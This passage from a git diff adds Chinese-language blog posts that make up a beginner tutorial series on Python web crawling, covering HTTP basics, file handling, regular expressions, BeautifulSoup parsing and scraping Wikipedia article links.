+#

    The Dormouse's story

    +#

    Once upon a time there were three little sisters; and their names were +# Elsie, +# Lacie and +# Tillie; +# and they lived at the bottom of a well.

    +#

    ...

    +# +# The Dormouse's story +# The Dormouse's story +# +#

    The Dormouse's story

    +#

    Once upon a time there were three little sisters; and their names were +# Elsie, +# Lacie and +# Tillie; +# and they lived at the bottom of a well.

    +#

    ...

    +# +#

    The Dormouse's story

    +# The Dormouse's story +#

    Once upon a time there were three little sisters; and their names were +# Elsie, +# Lacie and +# Tillie; +# and they lived at the bottom of a well.

    +# Elsie +# Lacie +# Tillie +#

    ...

    + +def has_class_but_no_id(tag): + return tag.has_attr('class') and not tag.has_attr('id') + + +for tag in soup.find_all(has_class_but_no_id): + print(tag) +# result: +#

    The Dormouse's story

    +#

    Once upon a time there were three little sisters; and their names were +# Elsie, +# Lacie and +# Tillie; +# and they lived at the bottom of a well.

    +#

    ...

    +``` + +## BeautifulSoup的主要参数的使用 + +``` +html_doc = """ +The Dormouse's story + +

    The Dormouse's story

    + +

    Once upon a time there were three little sisters; and their names were +Elsie, +Lacie and +Tillie; +and they lived at the bottom of a well.

    + +

    ...

    +""" +import bs4 +from bs4 import BeautifulSoup + +soup = BeautifulSoup(html_doc, "lxml") + +# text参数 +soup.find_all(text="Elsie") +soup.find_all(text=["Elsie", "Lacie", "Tillie"]) +soup.find_all(text=re.compile("Dormouse")) + +# limit参数 +soup.find_all("a", limit=2) + +# recursive参数 +soup.html.find_all("title") +soup.html.find_all("title", recursive=False) + +# tag对象 +print(soup.title) +print(soup.head) +print(soup.a) +print(soup.p) + +print(type(soup.a)) + +print(soup.name) +print(soup.head.name) +print(soup.p.attrs) + +print(soup.p['class']) +print(soup.p.get('class')) +soup.p['class'] = "newclass" +print(soup.p) + +del soup.p['class'] +print(soup.p) + +# NavigableString对象 +print(soup.p.string) +print(type(soup.p.string)) + +# BeautifulSoup对象 +print(type(soup.name)) +print(soup.name) +print(soup.attrs) + +# Comment对象 +print(soup.a) +print(soup.a.string) +print(type(soup.a.string)) + +if type(soup.a.string) == bs4.element.Comment: + print(soup.a.string) +``` + +## BeautifulSoup解析在线网页实例 + +``` +from urllib.request import urlopen +from bs4 import BeautifulSoup + +html = urlopen('http://www.pythonscraping.com/exercises/exercise1.html') +bsObj = BeautifulSoup(html.read(), 'lxml') +print(bsObj.h1) + +# CSS属性 +from urllib.request import urlopen +from bs4 import BeautifulSoup + +html = urlopen('http://www.pythonscraping.com/pages/warandpeace.html') +bsObj = BeautifulSoup(html, 'lxml') +nameList = bsObj.findAll('span', {'class': 'green'}) +for name in nameList: + print(name.get_text()) + +# find()和findall() +from urllib.request import urlopen +from bs4 import BeautifulSoup + +html = urlopen('http://www.pythonscraping.com/pages/warandpeace.html') +bsObj = BeautifulSoup(html) +allText = bsObj.findAll(id='text') +print(allText[0].get_text()) +``` + +更多使用方法参见[BeautifulSoup 中文文档](https://www.crummy.com/software/BeautifulSoup/bs4/doc.zh/) + diff --git a/source/_posts/Python-crawler-basic-internet-1.md b/source/_posts/Python-crawler-basic-internet-1.md new file mode 100644 index 0000000..1cecae4 --- /dev/null +++ b/source/_posts/Python-crawler-basic-internet-1.md @@ -0,0 +1,167 @@ +--- +title: Python网络爬虫实战之一:网络爬虫理论基础 +date: 2019-05-11 09:25:00 +author: Demo +img: /source/images/xxx.jpg +top: true +cover: true +coverImg: /images/1.jpg +toc: false +mathjax: false +summary: +categories: Python +tags: + - Python + +--- + + + + + +# 一、浏览网页的基本过程和通信基础 + +> 当我们在浏览器地址栏输入: 回车后会浏览器显示百度的首页,那这 段网络通信过程中到底发生了什么? + +简单来说这段过程发生了以下四个步骤: + +1. 浏览器通过DNS服务器查找域名对应的IP地址; +2. 向IP地址对应的Web服务器发送请求 ; +3. Web Web服务器响应请求,发回HTML页面 ; +4. 浏览器解析HTML内容,并显示出来 + +### DNS + +- DNS 是计算机域名系统 (Domain Name System (Domain Name System 或 Domain Name Service) 的缩写,由解析器和域名服务组成的。 +- 域名服务器是指保存有该网络中所主机的和对应 IP 地址,并具有将域名转换为 IP 地址功能的服务器。 +- 一般个域名的DNS解析时间在10~60毫秒之间。 +- 一个域名必须对应IP地址,而一个IP地址不一定会有域名 + +### HTTP和HTTPS + +- HTTP协议(HyperText Transfer Protocol,超文本传输协议)是一种发布和接收HTML页面的方法 +- HTTPS协议(HyperText Transfer Protocol over Secure Socket Layer)简单的讲就是HTTP的安全版,在HTTP下加入SSL层 +- SSL(Secure Socket Layer 安全套接层)主要用于Web的安全传输协议,在传输层对网络连接进行加密,保障在Internet上数据传输的安全 +- HTTP的端口号是80,HTTPS的端口号是443 + +### URI与URL + +- URI(Uniform Resource Identifier)统一资源标志符 +- URL(Universal Resource Locator)统一资源定位符,用于完整地描述Internet上网页和其他资源的地址的一中标识方法 +- URL的基本格式: + +### 请求 + +请求由客户端向服务端发出,分为四部分:请求方法、请求的网址、请求头、请求体 + +- 请求方法 + + + + ![img](https:////upload-images.jianshu.io/upload_images/2255795-fe7eace52135769d.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/751) + + 1-1.jpg + +- 请求头,用来说明服务器使用的附加信息,比较重要的信息有Cookie、Referer、user-Agent等。 + + + + ![img](https:////upload-images.jianshu.io/upload_images/2255795-76c4af1982a66838.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/773) + + 1-2.jpg + +- 请求体,一般承载的内容是POST请求中的表单数据,而对于GET请求,请求体则为空。 + + + + ![img](https:////upload-images.jianshu.io/upload_images/2255795-569c648c2c6d1f89.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/819) + + 1-3.jpg + +### 响应 + +响应由服务端返回给客户端,分为三部分:响应状态码、响应头、响应提 + +- 响应状态码 + + + + ![img](https:////upload-images.jianshu.io/upload_images/2255795-5804a72cba62b6fd.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1000) + + 1-4.jpg + +- 响应头,包含了服务器对请求的应答信息,如Content-Type、Server、Set-Cookie等。 + + + + ![img](https:////upload-images.jianshu.io/upload_images/2255795-a61e4fb72096b27e.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1000) + + 1-4.jpg + +- 响应体,响应的正文数据都在响应体中,比如请求网页时他的响应体就是网页的HTML代码,请求一张图片时,它的响应体就是图片的二进制数据。我们做爬虫请求网页后,要解析的就是响应体 + +# 二、爬虫基本工作原理 + +### 爬虫基本类型 + +- 通用爬虫:是 捜索引擎抓取系统(Baidu、Google、Yahoo等)的重要组成部分。主要目的是将互联网上的网页下载到本地,形成一个互联网内容的镜像备份。 +- 聚焦爬虫:是"面向特定主题需求"的一种网络爬虫程序,它与通用搜索引擎爬虫的区别在于, 聚焦爬虫在实施网页抓取时会对内容进行处理筛选,尽量保证只抓取与需求相关的网页信息。 +- 增量式爬虫:增量式更新指的是在更新的时候只更新改变的地方,而未改变的地方则不更新。所以增量式爬虫技术在爬取网页的过程中,只爬取内容发生变化或是新产生的网页,对未发生内容变化的网页则不会爬取。 + +### 爬虫的基本工作流程(以通用爬虫为例) + + + +![img](https:////upload-images.jianshu.io/upload_images/2255795-cffe88e6b8b23391.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/265) + +​ 1-7.png + +##### 第一步:抓取网页 + +- 首先选取一部分的种子URL,将这些URL放入待抓取URL队列; +- 取出待抓取URL,解析DNS得到主机的IP,并将URL对应的网页下载下来,存储进已下载网页库中,并且将这些URL放进已抓取URL队列。 +- 分析已抓取URL队列中的URL,分析其中的其他URL,并且将URL放入待抓取URL队列,从而进入下一个循环 + +##### 第二步:数据存储 + +- 搜索引擎通过爬虫爬取到的网页,将数据存入原始页面数据库。其中的页面数据与用户浏览器得到的HTML是完全一样的。 +- 搜索引擎蜘蛛在抓取页面时,也做一定的重复内容检测,一旦遇到访问权重很低的网站上有大量抄袭、采集或者复制的内容,很可能就不再爬行。 + +##### 第三步:预处理 + +- 搜索引擎将爬虫抓取回来的页面,进行各种步骤的预处理,比如:提取文字、中文分词、消除噪音(比如版权声明文字、导航条、广告等……)、索引处理、链接关系计算、特殊文件处理.... +- 除了HTML文件外,搜索引擎通常还能抓取和索引以文字为基础的多种文件类型,如 PDF、Word、WPS、XLS、PPT、TXT 文件等。我们在搜索结果中也经常会看到这些文件类型。 +- 但搜索引擎还不能处理图片、视频、Flash 这类非文字内容,也不能执行脚本和程序。 + +##### 第四步:操作数据,实现需求 + +比如获取京东某类商品的所有评论、购买用户的会员等级 + +### 爬虫基本结构 + + + +![img](https:////upload-images.jianshu.io/upload_images/2255795-f1dc7e8061ac95ed.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/813) + +1-6.jpg + +### 爬虫的抓取策略 + +- 深度优先遍历策略 +- 广度优先遍历策略 +- 方向链接策略 +- Partial PageRank 策略 +- OPIC策略 + +### 爬虫的更新策略 + +- 历史参考策略 +- 用户体验策略 +- 聚类抽样策略 + +### 网页分析算法 + +- 基于用户行为的网页分析算法 +- 基于网络拓扑的网页分析算法 +- 基于网页内容的网页分析算法 + diff --git a/source/_posts/Python-crawler-basic-oper-2.md b/source/_posts/Python-crawler-basic-oper-2.md new file mode 100644 index 0000000..160d4a6 --- /dev/null +++ b/source/_posts/Python-crawler-basic-oper-2.md @@ -0,0 +1,202 @@ +--- +title: Python网络爬虫实战之二:环境部署、基础语法、文件操作 +date: 2019-05-12 09:25:00 +author: Demo +img: /source/images/xxx.jpg +top: true +cover: true +coverImg: /images/1.jpg +toc: false +mathjax: false +summary: +categories: Python +tags: + - Python + + +--- + + + + + +# 一、Python的环境部署 + +Python安装、Python的IDE安装本文不再赘述,网上有很多教程 + +爬虫必备的几个库:Requests、Selenium、lxml、Beatiful Soup + +- Requests 是基于urllib编写的第三方扩展库,是采用Apache2 Licensed开源协议的HTTP库 +- Selenium是一个自动化测试工具,利用它我们可以驱动浏览器执行特定的动作,如点击、下拉等操作。对于一些JavaScript渲染的页面来说,这种抓取方式非常有效。 +- lxml是Python的一个解析库,支持HTML和XML的解析,支持XPath解析方式,而且解析效率非常高 +- Beatiful Soup是Python的一个HTML或XML的解析库,我们可以用它来方便地从网页中提取数据 + +# 二、Python的基础语法 + +可参考我的《趣学Python——教孩子学编程》系列笔记 + +[《趣学Python——教孩子学编程》学习笔记第1-3章](https://www.jianshu.com/p/69b5c9ee926e) + +[《趣学Python——教孩子学编程》学习笔记第4-6章](https://www.jianshu.com/p/00850c80f78f) + +[《趣学Python——教孩子学编程》学习笔记第7-8章](https://www.jianshu.com/p/90d50cc592ed) + +[《趣学Python——教孩子学编程》学习笔记第9-10章](https://www.jianshu.com/p/885cb1fa9827) + +[《趣学Python——教孩子学编程》学习笔记第11-12章](https://www.jianshu.com/p/48715dcb524a) + +[《趣学Python——教孩子学编程》学习笔记第13章](https://www.jianshu.com/p/c9850ca89b60) + +# 三、Python文件的读取与输出 + +键盘输入 + +``` +# 键盘输入(python3将raw_input和input进行了整合,只有input) +str = input("Please enter:") +print("你输入的内容是:", str) +``` + +打开文件 + +``` +# 打开一个文件 +fo = open(r"D:\DataguruPyhton\PythonSpider\lesson2\filejiatao.txt", "wb") +print("文件名:", fo.name) +print("是否已关闭:", fo.closed) +print("访问模式:", fo.mode) +``` + +关闭文件 + +``` +# 关闭一个文件 +fo = open(r"D:\DataguruPyhton\PythonSpider\lesson2\filejiatao.txt", "wb") +fo.close() +print("是否已关闭:", fo.closed) +``` + +写入文件内容 + +``` +# 写入文件内容 +fo = open(r"D:\DataguruPyhton\PythonSpider\lesson2\filejiatao.txt", "r+") +fo.write("www.baidu.com www.cctvjiatao.com") +fo.flush() +fo.close() +``` + +读取文件内容 + +``` +fo = open(r"D:\DataguruPyhton\PythonSpider\lesson2\filejiatao.txt", "r+") +str = fo.read(11) +print("读取的字符串是:", str) +fo.close() +``` + +查找当前位置 + +``` +# 查找当前位置 +fo = open(r"D:\DataguruPyhton\PythonSpider\lesson2\filejiatao.txt", "r+") +str = fo.read(11) +position = fo.tell() +print("当前读取的位置是:", position) +# result: 当前文件位置: 11 +fo.close() +``` + +文件指针重定位 + +``` +# 文件指针重定位 +fo = open(r"D:\DataguruPyhton\PythonSpider\lesson2\filejiatao.txt", "r+") +str = fo.read(11) +print("读取的字符串1:", str) +# result: 重新读取的字符串1: www.baidu.c +position = fo.tell() +print("当前文件位置:", position) +# result: 当前文件位置: 11 +str = fo.read(11) +print("读取的字符串2:", str) +# result: 读取的字符串2: om www.cctv +postion = fo.seek(0, 0) +str = fo.read(11) +print("读取的字符串3:", str) +# result: 读取的字符串3: www.baidu.c +fo.close() +``` + +文件重命名 + +``` +# 文件重命名 filejiatao.txt——>filejiatao2.txt +import os + +src_file = r"D:\DataguruPyhton\PythonSpider\lesson2\filejiatao.txt" +dst_file = r"D:\DataguruPyhton\PythonSpider\lesson2\filejiatao2.txt" +os.rename(src_file, dst_file) +``` + +删除文件 + +``` +# 删除一个文件 +import os + +dirty_file = r"D:\DataguruPyhton\PythonSpider\lesson2\filejiatao2.txt" +os.remove(dirty_file) +``` + + + + + + 异常处理1 + + + +![img](https:////upload-images.jianshu.io/upload_images/2255795-71be88200641b051.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/627) + +2-1.jpg + +``` +# 异常处理1 +try: + fh = open("testfile.txt", "w") + fh.write("this is my test file for exception handing!") +except IOError: + print("Eorror:can\'t find file or read data") +else: + print("witten content in the file successfully") + fh.close() +``` + +异常处理2 + +``` +# 异常处理2 +try: + fh = open("testfile.txt", "w") + fh.write("this is my test file for exception handing!") +finally: + print("Eorror:I don\'t kown why ...") +``` + +异常处理3 + +``` +# 异常处理3 +def temp_convert(var): + try: + return int(var) + # except ValueError,Argument: + # print("The argument does not contain numbers\n",Argument) + except (ValueError) as Argument: + print("The argument does not contain numbers\n", Argument) + + +temp_convert("xyz") +``` + diff --git a/source/_posts/Python-crawler-regular-expression-5.md b/source/_posts/Python-crawler-regular-expression-5.md new file mode 100644 index 0000000..23a8965 --- /dev/null +++ b/source/_posts/Python-crawler-regular-expression-5.md @@ -0,0 +1,336 @@ +--- +title: Python网络爬虫实战之五:正则表达式 +date: 2019-05-15 09:25:00 +author: Demo +img: /source/images/xxx.jpg +top: true +cover: true +coverImg: /images/1.jpg +toc: false +mathjax: false +summary: +categories: Python +tags: + - Python + - regex + +--- + + + +## 正文: + +正则表达式(regular expression)描述了一种字符串匹配的模式(pattern),可以用来检查一个串是否含有某种子串、将匹配的子串替换或者从某个串中取出符合某个条件的子串等。 + +## 通过一个小实例来了解正则表达式的作用 + +``` +# 从字符串 str 中找出abc/数字 +import re + +s = '123abc456eabc789' +re.findall(r'abc', s) +# result: ['abc', 'abc'] +re.findall('[0-9]+',s) +# result: ['123', '456', '789'] +``` + +## 限定符 + +限定符用来指定正则表达式的一个给定组件必须要出现多少次才能满足匹配。有 * 或 + 或 ? 或 {n} 或 {n,} 或 {n,m} 共6种。 + + + +![img](https:////upload-images.jianshu.io/upload_images/2255795-ae6d73e71049b6bb.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1000) + +5-1.jpg + +``` +import re + +s = 'Chapter1 Chapter2 Chapter10 Chapter99 fheh' +re.findall('Chapter[1-9][0-9]*', s) +# result:['Chapter1', 'Chapter2', 'Chapter10', 'Chapter99'] +re.findall('Chapter[1-9][0-9]+', s) +# result: ['Chapter10', 'Chapter99'] +re.findall('Chapter[1-9][0-9]?', s) +# result:['Chapter1', 'Chapter2', 'Chapter10', 'Chapter99'] +re.findall('Chapter[1-9][0-9]{0,1}', s) +# result:['Chapter1', 'Chapter2', 'Chapter10', 'Chapter99'] +re.findall('Chapter[1-9][0-9]{1,2}', s) +# result:['Chapter10', 'Chapter99'] +``` + +## 贪婪匹配与非贪婪匹配 + +正则匹配默认是贪婪匹配,也就是匹配尽可能多的字符 + +``` +import re + +# 贪婪模式 +s = '

    Chapter 1 – Introduction to Regular Expressions

    ' +re.findall('<.*>', s) +# result: ['

    Chapter 1 – Introduction to Regular Expressions

    '] +# 非贪婪模式 +re.findall('<.*?>', s) +# result: ['

    ', '

    '] +``` + +## 定位符 + +定位符使您能够将正则表达式固定到行首或行尾。它们还使您能够创建这样的正则表达式,这些正则表达式出现在一个单词内、在一个单词的开头或者一个单词的结尾。 + +定位符用来描述字符串或单词的边界,^ 和 $ 分别指字符串的开始与结束,\b 描述单词的前或后边界,\B 表示非单词边界。 + + + +![img](https:////upload-images.jianshu.io/upload_images/2255795-53ebbb5379727d24.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1000) + +5-2.jpg + +``` +import re + +s = 'Chapter1 Chapter2 Chapter11 Chapter99' +re.findall('^Chapter[1-9][0-9]{0,1}', s) +# result: ['Chapter1'] +re.findall('^Chapter[1-9][0-9]{0,1}$', 'Chapter99') +# result: ['Chapter99'] +re.findall(r'\bCha', ' Chapter') +# result: ['Cha'] +re.findall(r'ter\b', ' Chapter') +# result: ['ter'] +re.findall(r'\Bapt', 'Chapter') +# result: ['apt'] +re.findall(r'\Bapt', 'aptitude') +# result: [] +``` + +## 分组与捕获组 + +要说明白捕获,就要先从分组开始。重复单字符我们可以使用限定符,如果重复字符串,用什么呢? 对!用小括号,小括号里包裹指定字表达式(子串),这就是分组。之后就可以限定这个子表示的重复次数了。 + +那么,什么是捕获呢?使用小括号指定一个子表达式后,匹配这个子表达式的文本(即匹配的内容)可以在表达式或者其他过程中接着用,怎么用呢?至少应该有个指针啥的引用它吧? 对!默认情况下,每个分组(小括号)会自动拥有一个组号,从左到右,以分组的左括号为标志,第一个出现的分组组号为1,后续递增。如果出现嵌套, + +``` +s = 'aaa111aaa , bbb222 , 333ccc' +re.findall(r'[a-z]+(\d+)[a-z]', s) +# result:['111'] +re.findall(r'[a-z]+\d+[a-z]', s) # 对比(\d+)的用法 +# result:['aaa111a'] +re.findall(r'[a-z]+\d+[a-z]+', s) # 对比(\d+)的用法 +# result:['aaa111aaa'] + +s = '111aaa222aaa111 , 333bbb444bb33' +re.findall(r'(\d+)([a-z]+)(\d+)(\2)(\1)', s) +# result:[('111', 'aaa', '222', 'aaa', '111')] +re.findall(r'(\d+)([a-z]+)(\d+)(\2)(\1)', '333bbb444bb33') +# result:[] +re.findall(r'(\d+)([a-z]+)(\d+)(\2)(\1)', '333bbb444bbb333') +# result:[('333', 'bbb', '444', 'bbb', '333')] +re.findall(r'(\d+)([a-z]+)(\d+)(\1)(\2)', '333bbb444bbb333') +# result:[] +``` + +## 非捕获组 + +用圆括号将所有选择项括起来,相邻的选择项之间用|分隔。但用圆括号会有一个副作用,使相关的匹配会被缓存。可用?:放在第一个选项前来消除这种副作用。 + +其中 ?: 是非捕获元之一,还有两个非捕获元是 ?= 和 ?!,这两个还有更多的含义,前者为正向预查,在任何开始匹配圆括号内的正则表达式模式的位置来匹配搜索字符串,后者为负向预查,在任何开始不匹配该正则表达式模式的位置来匹配搜索字符串。 + +``` +# (?:pattern)与(pattern)不同之处只是在于不捕获结果,非捕获组只匹配结果,但不捕获结果,也不会分配组号 +s = 'industry is industries lala industyyy industiii' +re.findall(r'industr(?:y|ies)', s) +# result: ['industry', 'industries'] + +s = 'Windows2000 Windows3.1' +re.findall(r'Windows(?=95|98|NT|2000)', s) +# result: ['Windows'] +# 匹配 "Windows2000" 中的 "Windows",不匹配 "Windows3.1" 中的 "Windows"。 + +s = 'Windows2000 Windows3.1' +re.findall(r'Windows(?!95|98|NT|2000)', s) +# result: ['Windows'] +# 匹配 "Windows3.1" 中的 "Windows",不匹配 "Windows2000" 中的 "Windows"。 + +s = 'aaa111aaa,bbb222,333ccc,444ddd444,555eee666,fff777ggg' +re.findall(r'([a-z]+)\d+([a-z]+)', s) +# result:[('aaa', 'aaa'), ('fff', 'ggg')] +re.findall(r'(?P[a-z]+)\d+(?P=g1)', s) +# result:['aaa'] +re.findall(r'(?P[a-z]+)\d+(?P=g1)', 'aaa111aaa,bbb222,333ccc,444ddd444,555eee666,fff777fff') +# result:['aaa', 'fff'] +re.findall(r'[a-z]+(\d+)([a-z]+)', s) +# result: [('111', 'aaa'), ('777', 'ggg')] +re.findall(r'([a-z]+)\d+', s) +# result:['aaa', 'bbb', 'ddd', 'eee', 'fff'] +re.findall(r'([a-z]+)\d+\1', s) +# result:['aaa'] + +s = 'I have a dog , I have a cat' +re.findall(r'I have a (?:dog|cat)', s) +# result: ['I have a dog', 'I have a cat'] +re.findall(r'I have a dog|cat', s) +# result: ['I have a dog', 'cat'] + +s = 'ababab abbabb aabaab abbbbbab' +re.findall(r'\b(?:ab)+\b', s) +# result: ['ababab'] +re.findall(r'\b(ab)+\b', s) +# result: ['ab'] +``` + +## 反向引用 + +捕获组(Expression)在匹配成功时,会将子表达式匹配到的内容,保存到内存中一个以数字编号的组里,可以简单的认为是对一个局部变量进行了赋值,这时就可以通过反向引用方式,引用这个局部变量的值。一个捕获组(Expression)在匹配成功之前,它的内容可以是不确定的,一旦匹配成功,它的内容就确定了,反向引用的内容也就是确定的了。 + +反向引用必然要与捕获组一同使用的,如果没有捕获组,而使用了反向引用的语法,不同语言的处理方式不一致,有的语言会抛异常,有的语言会当作普通的转义处理。 + +``` +s = 'Is is the cost of of gasoline going up up ?' +re.findall(r'\b([a-z]+) \1\b', s, re.I) # 大小写不敏感 +# result: ['Is', 'of', 'up'] +re.findall(r'\b([a-z]+) \1\b', s) +# result: ['of', 'up'] + +s = 'http://www.w3cschool.cc:80/html/html-tutorial.html' +re.findall(r'(\w+):\/\/([^/:]+)(:\d*)?([^# ]*)', s) +# result: [('http', 'www.w3cschool.cc', ':80', '/html/html-tutorial.html')] +``` + +## 注意区别:pattern+?、pattern*?、(?!pattern)、(?:pattern) + +#### pattern+?、pattern*? + +这两个比较常用,表示懒惰匹配,即匹配符合条件的尽量短的字符串。默认情况下 + 和 * 是贪婪匹配,即匹配尽可能长的字符串,在它们后面加上 ? 表示想要进行懒惰匹配。 + +#### (?!pattern) + +表示一个过滤条件,若字符串符合 pattern 则将其过滤掉。在分析日志时很有用,例如想过滤掉包含 info 标记的日志可以写 ^(?!.*info).*$。 + +#### (?:pattern) + +这条规则主要是为了优化性能,对匹配没有影响。它表示括号内的子表达式匹配的结果不需要返回也不会被 ![1](https://math.jianshu.com/math?formula=1)2 之类的反向引用。 + +## 模式匹配 + +1. import re导入正则表达式模块。Python中所有正则表达式的函数都在re模块中,所以我们要先引入re模块; +2. 用re.compile()函数创建一个Regex对象(参数就是要匹配的内容的正则表达式); +3. 用Regex对象的search()方法来查找一段字符串,返回那个匹配的对象num,num中是一段相应的描述信息; +4. 调用匹配对象num的group()方法,返回实际匹配文本的字符串。 + +``` +import re + +s1 = "once upon a time" +s2 = "There once was a man from NewYork" +print(re.findall(r'^once', s1)) +# result: ['once'] +print(re.findall(r'^once', s2)) +# result: [] +print(re.findall(r'time$', s1)) +# result: ['time'] +print(re.findall(r'times$', s1)) +# result: [] +print(re.findall(r'^time$', s1)) +# result: [] +print(re.findall(r'^time$', 'time')) +# result: ['time'] + +## compile +s = '111,222,aaa,bbb,ccc333,444ddd' +rule = r'\b\d+\b' +compiled_rule = re.compile(rule) +print(compiled_rule.findall(s)) +# result: ['111', '222'] + + +## match +print(re.match('www', 'www.runoob.com').span()) # 在起始位置匹配 +# result: (0, 3) +print(re.match('com', 'www.runoob.com')) # 不在起始位置匹配 +# result: None + +line = "Cats are smarter than dogs" +matchObj = re.match(r'(.*) are (.*?) .*', line, re.M | re.I) + +if matchObj: + print("matchObj.group() : ", matchObj.group()) + # result: matchObj.group() : Cats are smarter than dogs + print("matchObj.group(1) : ", matchObj.group(1)) + # result: matchObj.group(1) : Cats + print("matchObj.group(2) : ", matchObj.group(2)) + # result: matchObj.group(2) : smarter +else: + print("No match!!") + +## search +print(re.search('www', 'www.runoob.com').span()) # 在起始位置匹配 +# result: (0, 3) +print(re.search('com', 'www.runoob.com').span()) # 不在起始位置匹配 +# result: (11, 14) + +line = "Cats are smarter than dogs"; +searchObj = re.search(r'(.*) are (.*?) .*', line, re.M | re.I) + +if searchObj: + print("searchObj.group() : ", searchObj.group()) + # result: searchObj.group() : Cats are smarter than dogs + print("searchObj.group(1) : ", searchObj.group(1)) + # result: searchObj.group(1) : Cats + print("searchObj.group(2) : ", searchObj.group(2)) + # result: searchObj.group(2) : smarter +else: + print("Nothing found!!") + +## match与search +line = "Cats are smarter than dogs" +matchObj = re.match(r'dogs', line, re.M | re.I) + +if matchObj: + print("match --> matchObj.group() : ", matchObj.group()) +else: + print("No match!!") + # result: No match!! + +matchObj = re.search(r'dogs', line, re.M | re.I) +if matchObj: + print("search --> matchObj.group() : ", matchObj.group()) + # result: search --> matchObj.group() : dogs +else: + print("No match!!") + +## sub +phone = "2004-959-559 # This is Phone Number" +num = re.sub(r'#.*$', "", phone) +print("Phone Num : ", num) +# result: Phone Num : 2004-959-559 + +num = re.sub(r'\D', "", phone) +print("Phone Num : ", num) +# result: Phone Num : 2004959559 +``` + +## 正则表达式与BeautifulSoup + +``` +from urllib.request import urlopen +from bs4 import BeautifulSoup +import re + +html = urlopen("http://www.pythonscraping.com/pages/page3.html") +bsObj = BeautifulSoup(html, 'lxml') +# print(bsObj.prettify()) +images = bsObj.findAll("img", {"src": re.compile("\.\.\/img\/gifts/img.*\.jpg")}) +for image in images: + print(image["src"]) + +# result: ../img/gifts/img1.jpg +# ../img/gifts/img2.jpg +# ../img/gifts/img3.jpg +# ../img/gifts/img4.jpg +# ../img/gifts/img6.jpg +``` + diff --git a/source/_posts/Python-crawler-static-sample-6.md b/source/_posts/Python-crawler-static-sample-6.md new file mode 100644 index 0000000..f39b140 --- /dev/null +++ b/source/_posts/Python-crawler-static-sample-6.md @@ -0,0 +1,232 @@ +--- +title: Python网络爬虫实战之六:静态网页爬取案例实战 +date: 2019-05-18 09:25:00 +author: Demo +img: /source/images/xxx.jpg +top: true +cover: true +coverImg: /images/1.jpg +toc: false +mathjax: false +summary: +categories: Python +tags: + - Python + +--- + +- ## 正文: + + ## 预备知识点:正则表达式之 pattern+?、pattern*?、(?!pattern)、(?:pattern) + + ### pattern+?、pattern*? + + 这两个比较常用,表示懒惰匹配,即匹配符合条件的尽量短的字符串。默认情况下 + 和 * 是贪婪匹配,即匹配尽可能长的字符串,在它们后面加上 ? 表示想要进行懒惰匹配。 + + ### (?!pattern) + + 表示一个过滤条件,若字符串符合 pattern 则将其过滤掉。在分析日志时很有用,例如想过滤掉包含 info 标记的日志可以写 ^(?!.*info).*$。 + + ### (?:pattern) + + 这条规则主要是为了优化性能,对匹配没有影响。它表示括号内的子表达式匹配的结果不需要返回也不会被 ![1](https://math.jianshu.com/math?formula=1)2 之类的反向引用。 + + ## 案例实战一 + + 获取网页中的词条url链接 + + ### 尝试1 + + ``` + ## 尝试1:爬取网页内容 + from urllib.request import urlopen + from bs4 import BeautifulSoup + + html = urlopen(r'https://en.wikipedia.org/wiki/Kevin_Bacon') + bsObj = BeautifulSoup(html, 'lxml') + print(bsObj.prettify()) + ``` + + ### 尝试2 + + ``` + ## 尝试2:抓取网页中的 a 标签,且以 href 开头的所有url链接 + from urllib.request import urlopen + from bs4 import BeautifulSoup + + html = urlopen(r'https://en.wikipedia.org/wiki/Kevin_Bacon') + bsObj = BeautifulSoup(html, 'lxml') + allLinks = bsObj.findAll("a") + print(len(allLinks)) # 780 + for link in allLinks: + if "href" in link.attrs: + print(link.attrs["href"]) + ``` + + > 通过分析“尝试2”中的数据,发现如下规律: + > + > 1、id在bodyContent的div标签中; + > + > 2、url不包含冒号; + > + > 3、url以/wiki/开头 + + ### 正式提取 + + ``` + ## 正式提取维基中的词条url + from urllib.request import urlopen + from bs4 import BeautifulSoup + import re + + html = urlopen(r'https://en.wikipedia.org/wiki/Kevin_Bacon') + bsObj = BeautifulSoup(html, 'lxml') + allLinks = bsObj.find('div', {'id': 'bodyContent'}).findAll('a', href=re.compile("^(/wiki/)((?!:).)*$")) + # allLinks + # allLinks[0] + # # result: Kevin Bacon (disambiguation) + # allLinks[0].text + # # result: 'Kevin Bacon (disambiguation)' + # allLinks[0].attrs['class'] + # # result: ['mw-disambig'] + # allLinks[0].attrs['href'] + # # result: '/wiki/Kevin_Bacon_(disambiguation)' + # allLinks[0].attrs['title'] + # # result: 'Kevin Bacon (disambiguation)' + # print(len(allLinks)) # 380 + for link in allLinks: + if 'href' in link.attrs: + print(link.attrs['href']) + ``` + + ## 案例实战二 + + 获取网页中的词条url链接以及关联页面中的词条url + + ``` + from urllib.request import urlopen + from bs4 import BeautifulSoup + import re + import datetime + import random + + + def getLinks(articleUrl): + html = urlopen("https://en.wikipedia.org" + articleUrl) + bsObj = BeautifulSoup(html, 'lxml') + return bsObj.find('div', {'id': 'bodyContent'}).findAll('a', href=re.compile("^(/wiki/)((?!:).)*$")) + + + links = getLinks("/wiki/Kevin_Bacon") + random.seed(datetime.datetime.now()) # 设置随机因子为系统时间,这样再使用随机函数时就不会取到重复值了 + while len(links) > 0: + newArticle = links[random.randint(0, len(links) - 1)].attrs["href"] + print(newArticle) + links = getLinks(newArticle) + ``` + + > 上述代码存在两个隐患: + > 隐患1,有可能会从A页面到B页面再到A页面; + > 隐患2,没有做异常处理 + + ## 案例实战三 + + 获取词条以及关联词条的url、标题、概要 + + ``` + pages = set() # url容器,作用:收集新的url链接;剔除已抓取的url + + + def getLinks(pageUrl): + global pages # 设为全局变量 + html = urlopen("https://en.wikipedia.org" + pageUrl) + bsObj = BeautifulSoup(html, "lxml") + try: + # 维基词条页面的特征: + # 1、所有的标题都在h1->span标签里,而且只有一个标题标签 + # 2、正文文字在div#bodyContent标签里;第一段文字 div#mw-content-text->p + # 3、编辑链接只出现在词条页面上,位于li#ca-edit标签里的 li#caedit->span->a + print("https://en.wikipedia.org" + pageUrl) + 